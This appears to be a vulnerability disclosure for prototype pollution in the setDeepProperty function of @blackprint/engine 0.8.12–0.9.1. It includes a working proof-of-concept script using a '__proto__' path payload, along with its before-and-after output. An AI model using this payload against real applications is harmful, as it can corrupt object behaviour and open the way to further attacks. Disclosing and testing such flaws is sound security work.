blackprint / engine-js Goto Github PK

Overview

Versions of @blackprint/engine from 0.8.12 to 0.9.1 are vulnerable to prototype pollution. The function setDeepProperty recursively assign the source property to the destination with out proper validation which can be exploited by an attacker by modifying the prototype of Object using a payload like: [["__proto__"], "..."]

PoC:

(async () => {
  const lib = await import('@blackprint/engine');
var victim = {}
console.log("Before Attack: ", JSON.stringify(victim.__proto__));
try {
  lib.default._utils.setDeepProperty ({},[["__proto__"], "polluted"], true)
} catch (e) { }
console.log("After Attack: ", JSON.stringify(victim.__proto__));
delete Object.prototype.polluted;
})();

Output:

Before Attack:  {}
After Attack:  {"polluted":true}

Output of a successful fix:

Before Attack:  {}
After Attack:  {}

How to prevent:

Refer to the recommendations in this article Snyk.io